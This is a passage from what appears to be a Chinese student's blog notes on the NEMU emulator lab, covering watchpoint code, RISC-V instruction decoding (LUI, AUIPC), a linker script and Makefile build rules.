class="literal">NULL</span>,*q=<span class="literal">NULL</span>;</span><br><span class="line"> <span class="keyword">if</span> (free_==<span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Watchpoints Limit"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> p=free_;</span><br><span class="line"> <span class="type">bool</span> success=<span class="number">1</span>;</span><br><span class="line"> p->result = expr(args,&success);</span><br><span class="line"> <span class="keyword">if</span> (!success)<span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> p->expr = strdup(args);</span><br><span class="line"> free_=free_->next;</span><br><span class="line"> <span class="keyword">if</span> (head!=<span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> q=head;</span><br><span class="line"> <span class="keyword">while</span> (q->next!=<span class="literal">NULL</span>)q=q->next;</span><br><span class="line"> q->next=p;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> head=p;</span><br><span class="line"> head->next=<span class="literal">NULL</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">free_wp</span><span class="params">(<span class="type">int</span> no)</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (head==<span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Watchpoint %d not found.\n"</span>,no);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (head->NO==no)</span><br><span class="line"> {</span><br><span class="line"> WP *wp=head;</span><br><span class="line"> head=wp->next;</span><br><span class="line"> wp->next=free_;</span><br><span class="line"> free_=wp;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> WP *p=<span class="literal">NULL</span>;</span><br><span class="line"> <span class="keyword">if</span> (head!=<span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> p=head;</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>){</span><br><span class="line"> <span class="keyword">if</span> (p->next->NO==no){</span><br><span class="line"> WP *wp=p->next;</span><br><span class="line"> p->next=wp->next;</span><br><span class="line"> wp->next=free_;</span><br><span class="line"> free_=wp;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (p->next==<span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Watchpoint %d not found.\n"</span>,no);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> p=p->next;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="监视点求值">监视点求值</h3><p>为了判断监视点的值是否发生变化,还需要在结构体中添加一个成员来记录。然后通过 <code>check_expr()</code> 来求值和判断变化。</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">bool</span> <span class="title function_">check_expr</span><span class="params">()</span>{</span><br><span class="line"> <span class="type">bool</span> changed=<span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">if</span> (head==<span class="literal">NULL</span>)<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> WP *p;</span><br><span class="line"> <span class="type">bool</span> success=<span class="literal">true</span>;</span><br><span class="line"> p=head;</span><br><span class="line"> <span class="type">word_t</span> result = expr(p->expr,&success);</span><br><span class="line"> <span class="keyword">if</span> (result!=p->result && success)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Watchpoint %d changed at 0x%x.\n"</span>,p->NO,cpu.pc);</span><br><span class="line"> changed=<span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (changed)<span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h2 id="如何阅读手册">如何阅读手册</h2><h3 id="程序是个状态机">程序是个状态机</h3><p>对于计算 <code>1+2+...+100</code> 的程序的状态机,它是确定性的。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(0, x, x) -> (1, 0, x) -> (2, 0, 0) -> (3, 0, 1) -> (4, 1, 1) -> (5, 1, 2) -> (6, 3, 2) -> ... -> (199,4851, 99) -> (200, 4950, 99) -> (201, 4950, 100) -> (202, 5050, 100)</span><br></pre></td></tr></tbody></table></figure><h3 id="理解基础设施">理解基础设施</h3><p>不必多说,使用过调试器的话肯定有所体会。</p><h3 id="rtfm">RTFM</h3><h4 id="riscv32有哪几种指令格式">riscv32 有哪几种指令格式?</h4><p>There are four core instruction formats.</p><p>Register-Type, Immediate-Type, Store-Type, Upper Immediate-Type.</p><h4 id="lui指令的行为是什么">LUI 指令的行为是什么?</h4><p>LUI (load upper immediate) is used to build 32-bit constants and usesthe U-type format. LUI places the 32-bit U-immediate value into thedestination register rd, filling in the lowest 12 bits with zeros.</p><figure><img src="/PA1/image-20250702170516999.png" alt="LUI"><figcaption aria-hidden="true">LUI</figcaption></figure><h4 id="mstatus寄存器的结构是怎么样的">mstatus 寄存器的结构是怎么样的?</h4><p>The mstatus (Machine Status) register is an MXLEN-bit read/writeregister formatted as shown in figures below. It's a <em>Control andStatus Register</em>.<img src="/PA1/image-20250701151239011.png" alt="mstatus"></p><h4 id="为什么要使用-wall和-werror">为什么要使用 <code>-Wall</code> 和 <code>-Werror</code>?</h4><p>At section 3.9, we found that:</p><p><code>-Werror</code> Turn all warnings into errors.</p><p><code>-Wall</code> This enables all the warnings about constructionsthat some users consider questionable, and that are easy to avoid (ormodify to prevent the warning), even in conjunction with macros. Thisalso enables some language-specific warnings.</p><p>To add these options, we can leverage compilers to identify potentialissues in our programs.</p><h3 id="shell命令">shell 命令</h3><p>使用 <code>find . -type f \( -name "*.c" -o -name "*.h" \) -print0 | xargs -0 wc -l</code> 来统计行数</p><p>由于我环境经历了多次迁移,似乎把 git 弄坏了(</p><p>不过毕竟我没有提交作业的需求,就不注意这些细节了</p><h1 id="pa2---简单复杂的机器">PA2 - 简单复杂的机器</h1><h2 id="不停计算的机器">不停计算的机器</h2><h3 id="画出在yemu上执行的加法程序的状态机">画出在 YEMU 上执行的加法程序的状态机</h3><p>类似地,使用一个 6 元组来分别表示 PC, R [0], R [1], M [x], M [y], M [z].</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(0, 0, 0, x, y ,0) -> (1, y, 0, x, y, 0) -> (2, y, y, x, y, 0) -> (3, x, y , x, y, 0) -> (4, x+y, y, x, y, 0) -> (5, x+y, y, x, y, x+y)</span><br></pre></td></tr></tbody></table></figure><h2 id="rtfsc2">RTFSC(2)</h2><h3 id="立即数背后的故事">立即数背后的故事</h3><p>1. 假设我们需要将 NEMU 运行在 Motorola68k 的机器上 (把 NEMU 的源代码编译成 Motorola 68k 的机器码)</p><p>此时读取的字节序列会被解释为大端序的,如果在二进制文件中以小端序存储,可能会导致问题。</p><p>2. 假设我们需要把 Motorola 68k 作为一个新的 ISA 加入到 NEMU 中</p><p>我们需要正确模拟大端序对应的存储结构与解释方式。</p><h3 id="立即数背后的故事2">立即数背后的故事 (2)</h3><p>在 RISC-V32 中,一般使用分部加载的方式:</p><p>通过 <code>lui</code> 加载高 20 位,<code>addi</code> 加载低 12 位</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">lui x10, 0x0D000</span><br><span class="line">addi x10, x10, 0x721</span><br></pre></td></tr></tbody></table></figure><h3 id="auipc的执行过程"><code>auipc</code> 的执行过程</h3><p>QEMU 内建的第一条指令,正是 <code>auipc</code></p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x00000297, // auipc t0,0</span><br></pre></td></tr></tbody></table></figure><p>在 QEMU 运行过程中,首先调用 <code>exec_once()</code> 来进入相应的处理流程。</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">exec_once</span><span class="params">(Decode *s, <span class="type">vaddr_t</span> pc)</span> {</span><br><span class="line"> s->pc = pc;</span><br><span class="line"> s->snpc = pc;</span><br><span class="line"> isa_exec_once(s);</span><br><span class="line"> cpu.pc = s->dnpc;</span><br><span class="line"> </span><br><span class="line"><span class="comment">//some macros...</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>传入的 <code>Decode</code> 是一个包含与 PC 有关变量的结构体</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">Decode</span> {</span></span><br><span class="line"> <span class="type">vaddr_t</span> pc;</span><br><span class="line"> <span class="type">vaddr_t</span> snpc; <span class="comment">// static next pc</span></span><br><span class="line"> <span class="type">vaddr_t</span> dnpc; <span class="comment">// dynamic next pc</span></span><br><span class="line"> ISADecodeInfo isa;</span><br><span class="line"> IFDEF(CONFIG_ITRACE, <span class="type">char</span> logbuf[<span class="number">128</span>]);</span><br><span class="line">} Decode;</span><br></pre></td></tr></tbody></table></figure><p>然后调用 <code>isa_exec_once(s)</code>,对于不同的架构,具体的定义不同。</p><h4 id="instruction-fetch">instruction fetch</h4><p>在 risc-v32 的实现中,代码如下</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">isa_exec_once</span><span class="params">(Decode *s)</span> {</span><br><span class="line"> s->isa.inst = inst_fetch(&s->snpc, <span class="number">4</span>);</span><br><span class="line"> <span class="keyword">return</span> decode_exec(s);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>具体的过程又涉及到 <code>vaddr_read()</code> 和 <code>paddr_read()</code>,处理 mmio 地址和 pmem 地址,物理内存上使用 <code>host_read()</code> 读取主机内存上的不同长度字节。</p><h4 id="instruction-decode">instruction decode</h4><p>完成取指调用的一系列函数后,<code>isa_exec_once()</code> 会返回 <code>decode_exec(s)</code></p><p>将指令与相应的模式匹配</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">decode_exec</span><span class="params">(Decode *s)</span> {</span><br><span class="line"> s->dnpc = s->snpc;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> INSTPAT_INST(s) ((s)->isa.inst)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> INSTPAT_MATCH(s, name, type, ... <span class="comment">/* execute body */</span> ) { \</span></span><br><span class="line"><span class="meta"> int rd = 0; \</span></span><br><span class="line"><span class="meta"> word_t src1 = 0, src2 = 0, imm = 0; \</span></span><br><span class="line"><span class="meta"> decode_operand(s, &rd, &src1, &src2, &imm, concat(TYPE_, type)); \</span></span><br><span class="line"><span class="meta"> __VA_ARGS__ ; \</span></span><br><span class="line"><span class="meta">}</span></span><br><span class="line"></span><br><span class="line"> INSTPAT_START();</span><br><span class="line"> INSTPAT(<span class="string">"??????? ????? ????? ??? ????? 00101 11"</span>, auipc , U, R(rd) = s->pc + imm);</span><br><span class="line"> INSTPAT(<span class="string">"??????? ????? ????? 100 ????? 00000 11"</span>, lbu , I, R(rd) = Mr(src1 + imm, <span class="number">1</span>));</span><br><span class="line"> INSTPAT(<span class="string">"??????? ????? ????? 000 ????? 01000 11"</span>, sb , S, Mw(src1 + imm, <span class="number">1</span>, src2));</span><br><span class="line"></span><br><span class="line"> INSTPAT(<span class="string">"0000000 00001 00000 000 00000 11100 11"</span>, ebreak , N, NEMUTRAP(s->pc, R(<span class="number">10</span>))); <span class="comment">// R(10) is $a0</span></span><br><span class="line"> INSTPAT(<span class="string">"??????? ????? ????? ??? ????? ????? ??"</span>, inv , N, INV(s->pc));</span><br><span class="line"> INSTPAT_END();</span><br><span class="line"></span><br><span class="line"> R(<span class="number">0</span>) = <span class="number">0</span>; <span class="comment">// reset $zero to 0</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>其中,<code>auipc</code> 对应的 (U-Type) 格式如下:</p><figure><img src="/PA1/image-20250702170516999.png" alt="AUIPC"><figcaption aria-hidden="true">AUIPC</figcaption></figure><h4 id="execute">execute</h4><p>QEMU 在宏中定义了 <code>auipc</code> 的具体行为:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">INSTPAT(<span class="string">"??????? ????? ????? ??? ????? 00101 11"</span>, auipc , U, R(rd) = s->pc + imm);</span><br></pre></td></tr></tbody></table></figure><p><code>pattern_decode()</code>中的宏处理了格式字符串:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">void</span> <span class="title function_">pattern_decode</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *str, <span class="type">int</span> len,</span></span><br><span class="line"><span class="params"> <span class="type">uint64_t</span> *key, <span class="type">uint64_t</span> *mask, <span class="type">uint64_t</span> *shift)</span> {</span><br><span class="line"> <span class="type">uint64_t</span> __key = <span class="number">0</span>, __mask = <span class="number">0</span>, __shift = <span class="number">0</span>;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> macro(i) \</span></span><br><span class="line"><span class="meta"> <span class="keyword">if</span> ((i) >= len) goto finish; \</span></span><br><span class="line"><span class="meta"> <span class="keyword">else</span> { \</span></span><br><span class="line"><span class="meta"> char c = str[i]; \</span></span><br><span class="line"><span class="meta"> <span class="keyword">if</span> (c != <span class="string">' '</span>) { \</span></span><br><span class="line"><span class="meta"> Assert(c == <span class="string">'0'</span> || c == <span class="string">'1'</span> || c == <span class="string">'?'</span>, \</span></span><br><span class="line"><span class="meta"> <span class="string">"invalid character '%c' in pattern string"</span>, c); \</span></span><br><span class="line"><span class="meta"> __key = (__key << 1) | (c == <span class="string">'1'</span> ? 1 : 0); \</span></span><br><span class="line"><span class="meta"> __mask = (__mask << 1) | (c == <span class="string">'?'</span> ? 0 : 1); \</span></span><br><span class="line"><span class="meta"> __shift = (c == <span class="string">'?'</span> ? __shift + 1 : 0); \</span></span><br><span class="line"><span class="meta"> } \</span></span><br><span class="line"><span class="meta"> }</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> macro2(i) macro(i); macro((i) + 1)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> macro4(i) macro2(i); macro2((i) + 2)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> macro8(i) macro4(i); macro4((i) + 4)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> macro16(i) macro8(i); macro8((i) + 8)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> macro32(i) macro16(i); macro16((i) + 16)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> macro64(i) macro32(i); macro32((i) + 32)</span></span><br><span class="line"> macro64(<span class="number">0</span>);<span class="comment">//宏展开,遍历了6位二进制数0b000000的任意取值</span></span><br><span class="line"> panic(<span class="string">"pattern too long"</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">undef</span> macro</span></span><br><span class="line">finish:</span><br><span class="line"> *key = __key >> __shift;</span><br><span class="line"> *mask = __mask >> __shift;</span><br><span class="line"> *shift = __shift;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="运行第一个c程序">运行第一个 C 程序</h3><p>我们需要在此部分实现的指令有 <code>lui</code>, <code>addi</code>,<code>jal</code>, <code>jalr</code>.</p><p>按照 RISC-V 手册实现即可。</p><p>需要注意不同指令对待操作数的符号和截断处理。</p><h3 id="指令名对照">指令名对照</h3><p>方法很多,可以根据 <code>opcode</code> 段查询。</p><h2 id="程序-运行时环境与am">程序, 运行时环境与 AM</h2><h3 id="运行时环境">运行时环境</h3><p>要求实现 <code>sprintf()</code> 等等库函数,可以参考 <code>glibc</code> 或者 STFW.</p><h3 id="rtfsc3">RTFSC(3)</h3><p>对各个 section 的定义如下</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//abstract-machine/scripts/linker.ld</span></span><br><span class="line"></span><br><span class="line">ENTRY(_start)</span><br><span class="line">PHDRS { text PT_LOAD; data PT_LOAD; }</span><br><span class="line"></span><br><span class="line">SECTIONS {</span><br><span class="line"> <span class="comment">/* _pmem_start and _entry_offset are defined in LDFLAGS */</span></span><br><span class="line"> . = _pmem_start + _entry_offset;</span><br><span class="line"> .text : {</span><br><span class="line"> *(entry)</span><br><span class="line"> *(.text*)</span><br><span class="line"> } : text</span><br><span class="line"> etext = .;</span><br><span class="line"> _etext = .;</span><br><span class="line"> .rodata : {</span><br><span class="line"> *(.rodata*)</span><br><span class="line"> }</span><br><span class="line"> .data : {</span><br><span class="line"> *(.data)</span><br><span class="line"> } : data</span><br><span class="line"> edata = .;</span><br><span class="line"> _data = .;</span><br><span class="line"> .bss : {</span><br><span class="line"> _bss_start = .;</span><br><span class="line"> *(.bss*)</span><br><span class="line"> *(.sbss*)</span><br><span class="line"> *(.scommon)</span><br><span class="line"> }</span><br><span class="line"> _stack_top = ALIGN(<span class="number">0x1000</span>);</span><br><span class="line"> . = _stack_top + <span class="number">0x8000</span>;</span><br><span class="line"> _stack_pointer = .;</span><br><span class="line"> end = .;</span><br><span class="line"> _end = .;</span><br><span class="line"> _heap_start = ALIGN(<span class="number">0x1000</span>);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h4 id="阅读makefile">阅读 Makefile</h4><p>Check environment and arguments:</p><figure class="highlight makefile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">### Override checks when `make clean/clean-all/html`</span></span><br><span class="line"><span class="keyword">ifeq</span> (<span class="variable">$(<span class="built_in">findstring</span> <span class="variable">$(MAKECMDGOALS)</span>,clean|clean-all|html)</span>,)</span><br><span class="line"></span><br><span class="line"><span class="comment">### Print build info message</span></span><br><span class="line"><span class="variable">$(info # Building <span class="variable">$(NAME)</span>-<span class="variable">$(MAKECMDGOALS)</span> [<span class="variable">$(ARCH)</span>])</span></span><br><span class="line"></span><br><span class="line">//...</span><br><span class="line"></span><br><span class="line"><span class="comment">### Check: environment variable `$ARCH` must be in the supported list</span></span><br><span class="line">ARCHS = <span class="variable">$(<span class="built_in">basename</span> $(<span class="built_in">notdir</span> $(<span class="built_in">shell</span> ls <span class="variable">$(AM_HOME)</span>/scripts/*.mk)</span>))</span><br><span class="line"><span class="keyword">ifeq</span> (<span class="variable">$(<span class="built_in">filter</span> <span class="variable">$(ARCHS)</span>, <span class="variable">$(ARCH)</span>)</span>, )</span><br><span class="line"> <span class="variable">$(<span class="built_in">error</span> Expected $$ARCH in {<span class="variable">$(ARCHS)</span>}, Got <span class="string">"<span class="variable">$(ARCH)</span>"</span>)</span></span><br><span class="line"><span class="keyword">endif</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### Checks end here</span></span><br><span class="line"><span class="keyword">endif</span></span><br></pre></td></tr></tbody></table></figure><p>Include AM makefile specified by <code>$(ARCH)</code>:</p><figure class="highlight makefile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">-include</span> <span class="variable">$(AM_HOME)</span>/scripts/<span class="variable">$(ARCH)</span>.mk</span><br></pre></td></tr></tbody></table></figure><p> in $(ARCH).mk,</p><p> it includes <code>nemu.mk</code>, which builds NEMU related driverand runs NEMU.</p><p> it also includes another arch related .mk that overwrites<code>ARCH_H</code>.</p><figure class="highlight makefile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">include</span> <span class="variable">$(AM_HOME)</span>/scripts/isa/riscv.mk</span><br><span class="line"><span class="keyword">include</span> <span class="variable">$(AM_HOME)</span>/scripts/platform/nemu.mk</span><br><span class="line">CFLAGS += -DISA_H=\<span class="string">"riscv/riscv.h\"</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">AM_SRCS += riscv/nemu/start.S \</span></span><br><span class="line"><span class="string"> riscv/nemu/cte.c \</span></span><br><span class="line"><span class="string"> riscv/nemu/trap.S \</span></span><br><span class="line"><span class="string"> riscv/nemu/vme.c</span></span><br></pre></td></tr></tbody></table></figure><p>Define compilation rule:</p><figure class="highlight makefile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 5. Compilation Rules</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### Rule (compile): a single `.c` -> `.o` (gcc)</span></span><br><span class="line"><span class="variable">$(DST_DIR)</span>/%.o: %.c</span><br><span class="line"> @mkdir -p <span class="variable">$(<span class="built_in">dir</span> <span class="variable">$@</span>)</span> && echo + CC <span class="variable">$<</span></span><br><span class="line"> @<span class="variable">$(CC)</span> -std=gnu11 <span class="variable">$(CFLAGS)</span> -c -o <span class="variable">$@</span> <span class="variable">$(<span class="built_in">realpath</span> <span class="variable">$<</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### Rule (compile): a single `.cc` -> `.o` (g++)</span></span><br><span class="line"><span class="variable">$(DST_DIR)</span>/%.o: %.cc</span><br><span class="line"> @mkdir -p <span class="variable">$(<span class="built_in">dir</span> <span class="variable">$@</span>)</span> && echo + CXX <span class="variable">$<</span></span><br><span class="line"> @<span class="variable">$(CXX)</span> -std=c++17 <span class="variable">$(CXXFLAGS)</span> -c -o <span class="variable">$@</span> <span class="variable">$(<span class="built_in">realpath</span> <span class="variable">$<</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### Rule (compile): a single `.cpp` -> `.o` (g++)</span></span><br><span class="line"><span class="variable">$(DST_DIR)</span>/%.o: %.cpp</span><br><span class="line"> @mkdir -p <span class="variable">$(<span class="built_in">dir</span> <span class="variable">$@</span>)</span> && echo + CXX <span class="variable">$<</span></span><br><span class="line"> @<span class="variable">$(CXX)</span> -std=c++17 <span class="variable">$(CXXFLAGS)</span> -c -o <span class="variable">$@</span> <span class="variable">$(<span class="built_in">realpath</span> <span class="variable">$<</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### Rule (compile): a single `.S` -> `.o` (gcc, which preprocesses and calls as)</span></span><br><span class="line"><span class="variable">$(DST_DIR)</span>/%.o: %.S</span><br><span class="line"> @mkdir -p <span class="variable">$(<span class="built_in">dir</span> <span class="variable">$@</span>)</span> && echo + AS <span class="variable">$<</span></span><br><span class="line"> @<span class="variable">$(AS)</span> <span class="variable">$(ASFLAGS)</span> -c -o <span class="variable">$@</span> <span class="variable">$(<span class="built_in">realpath</span> <span class="variable">$<</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### Rule (recursive make): build a dependent library (am, klib, ...)</span></span><br><span class="line"><span class="variable">$(LIBS)</span>: %:</span><br><span class="line"> @<span class="variable">$(MAKE)</span> -s -C <span class="variable">$(AM_HOME)</span>/<span class="variable">$*</span> archive</span><br><span class="line"></span><br><span class="line"><span class="comment">### Rule (link): objects (`*.o`) and libraries (`*.a`) -> `IMAGE.elf`, the final ELF binary to be packed into image (ld)</span></span><br><span class="line"><span class="variable">$(IMAGE)</span>.elf: <span class="variable">$(LINKAGE)</span> <span class="variable">$(LDSCRIPTS)</span></span><br><span class="line"> @echo \<span class="comment"># Creating image [$(ARCH)]</span></span><br><span class="line"> @echo + LD <span class="string">"->"</span> <span class="variable">$(IMAGE_REL)</span>.elf</span><br><span class="line"><span class="keyword">ifneq</span> (<span class="variable">$(<span class="built_in">filter</span> <span class="variable">$(ARCH)</span>,native)</span>,)</span><br><span class="line"> @<span class="variable">$(CXX)</span> -o <span class="variable">$@</span> -Wl,--whole-archive <span class="variable">$(LINKAGE)</span> -Wl,-no-whole-archive <span class="variable">$(LDFLAGS_CXX)</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"> @<span class="variable">$(LD)</span> <span class="variable">$(LDFLAGS)</span> -o <span class="variable">$@</span> --start-group <span class="variable">$(LINKAGE)</span> 